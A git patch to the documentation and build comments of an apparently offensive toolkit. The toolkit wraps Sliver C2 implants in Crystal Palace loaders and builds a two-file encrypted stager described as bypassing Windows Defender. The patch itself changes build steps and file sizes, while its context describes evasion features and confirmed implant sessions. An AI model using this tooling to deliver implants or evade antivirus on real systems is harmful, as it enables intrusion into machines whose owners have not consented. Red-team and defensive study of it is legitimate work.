From c12e286db59a522846dd182a47b85b10c3d2acb6 Mon Sep 17 00:00:00 2001 From: Simone Licitra Date: Fri, 12 Jun 2026 08:37:02 -0400 Subject: [PATCH] docs: fix stale sizes, add missing crystal-exec build step MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add `make -C crystal-exec all` to README quick build, RUNBOOK Phase 1.1 build steps, and quick smoke test — without it pack-extension.sh fails because crystal-exec.x64.dll is missing from the tarball - Update crystal-loader.x64.dll verified size: 114 KB → ~232 KB (grew after post-ex ExitThread and loader fixes were merged) - Add crystal-exec.x64.dll verified size: ~328 KB (was undocumented) - Fix stager "~60 KB" placeholder in bundle-stager.sh and stager/Makefile: actual built size is ~17 KB - RUNBOOK Phase 1.1: add explicit note that both DLLs must exist before running pack-extension.sh --- README.md | 3 ++- crystal-kit-sliver/sliver-glue/bundle-stager.sh | 2 +- crystal-kit-sliver/sliver-glue/stager/Makefile | 2 +- docs/RUNBOOK.md | 11 +++++++++-- docs/TOOLCHAIN.md | 4 ++-- 5 files changed, 15 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index b08c908..631ee75 100644 --- a/README.md +++ b/README.md @@ -121,6 +121,7 @@ make -C crystal-kit-sliver/loader all make -C crystal-kit-sliver/postex-loader all make -C crystal-kit-sliver/sliver-glue/wrapper all make -C crystal-kit-sliver/sliver-glue/wrapper smoketest +make -C crystal-kit-sliver/sliver-glue/crystal-exec all # 4. Use case A — wrap a Sliver implant and build the stager ./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \ @@ -153,7 +154,7 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener | Crystal Palace CLI verified | OK | `./link [%KEY=value]` — positional, documented in `dist/README` | | End-to-end PICO build (Use case A) | OK | 117 KB PICO produced from test DLL | | End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` | -| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol | +| Sliver Extension wrapper DLL builds | OK | `crystal-loader.x64.dll` ~232 KB, `crystal-exec.x64.dll` ~328 KB — both PE32+ exporting `go` symbol | | Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` | | Custom stager build (two-file delivery) | OK | `bundle-stager.sh` → `csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) | | Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) | diff --git a/crystal-kit-sliver/sliver-glue/bundle-stager.sh b/crystal-kit-sliver/sliver-glue/bundle-stager.sh index 71d589b..655e00d 100755 --- a/crystal-kit-sliver/sliver-glue/bundle-stager.sh +++ b/crystal-kit-sliver/sliver-glue/bundle-stager.sh @@ -3,7 +3,7 @@ # bundle-stager.sh — build the two-file Crystal Palace stager # # Outputs two files that must be delivered together: -# stager.exe — small loader (~60 KB), reads payload.dat and executes PICO +# stager.exe — small loader (~17 KB), reads payload.dat and executes PICO # payload.dat — AES-256-CBC encrypted PICO (opaque binary, no PE patterns) # # Evasion improvements over run.x64.exe / single-file embedded approach: diff --git a/crystal-kit-sliver/sliver-glue/stager/Makefile b/crystal-kit-sliver/sliver-glue/stager/Makefile index cd0a37b..5fdf10a 100644 --- a/crystal-kit-sliver/sliver-glue/stager/Makefile +++ b/crystal-kit-sliver/sliver-glue/stager/Makefile @@ -5,7 +5,7 @@ # make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe # # Outputs: -# stager EXE (~60 KB, no embedded payload) +# stager EXE (~17 KB, no embedded payload) # $(dir )/payload.dat AES-256-CBC encrypted PICO CC := x86_64-w64-mingw32-gcc diff --git a/docs/RUNBOOK.md b/docs/RUNBOOK.md index 24da3c6..d39abb1 100644 --- a/docs/RUNBOOK.md +++ b/docs/RUNBOOK.md @@ -104,13 +104,19 @@ Goal: prove that the `crystal-loader.x64.dll` Sliver Extension loads inside the cd crystal-kit-sliver/sliver-glue make -C wrapper all make -C wrapper smoketest +make -C crystal-exec all ./pack-extension.sh ls -la build/ ``` -Expected files: +`pack-extension.sh` requires **both** DLLs to exist before it runs: +- `crystal-loader.x64.dll` — provides the `crystal` command +- `crystal-exec.x64.dll` — provides the `crystal-exec` command -- `crystal-loader.x64.dll` (~114 KB, in `sliver-glue/` parent) +Expected files after the above: + +- `crystal-loader.x64.dll` (~232 KB, in `sliver-glue/` parent) +- `crystal-exec.x64.dll` (~328 KB, in `sliver-glue/` parent) - `build/smoketest.bin` (3 bytes: `31 c0 c3` = `xor eax,eax; ret`) - `build/crystal-loader-0.1.0.tar.gz` (~37 KB) @@ -445,6 +451,7 @@ make -C crystal-kit-sliver/loader all make -C crystal-kit-sliver/postex-loader all make -C crystal-kit-sliver/sliver-glue/wrapper all make -C crystal-kit-sliver/sliver-glue/wrapper smoketest +make -C crystal-kit-sliver/sliver-glue/crystal-exec all echo "" > /tmp/empty.args ./crystal-kit-sliver/sliver-glue/generate.sh \ diff --git a/docs/TOOLCHAIN.md b/docs/TOOLCHAIN.md index cc39d0b..ea18135 100644 --- a/docs/TOOLCHAIN.md +++ b/docs/TOOLCHAIN.md @@ -95,7 +95,7 @@ LDFLAGS := -shared -Wl,--subsystem,windows $(CC_64) $(CFLAGS) crystal-loader.c beacon_compatibility.c -o ../crystal-loader.x64.dll $(LDFLAGS) ``` -**Verified output:** 114051 bytes, PE32+ x86-64, exports symbol `go`. +**Verified output:** ~232 KB, PE32+ x86-64, exports symbol `go`. A smoke test shellcode (`smoketest.asm`) builds in parallel: @@ -135,7 +135,7 @@ Key design constraints: - `crystal-exec.c` (the Sliver extension itself) may use CRT normally — it runs in the normal process context, not inside the PICO loader - Single callback model: all output accumulates into a heap buffer; exactly ONE `callback(buf, len)` call at the very end. Sliver extension loaders only display the first callback invocation — any subsequent calls are silently dropped. -**Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`. +**Verified output:** `crystal-exec.x64.dll` — ~328 KB, PE32+ x86-64, exports symbol `go`. ### 3e. Custom stager — two-file delivery (Use case A Defender bypass)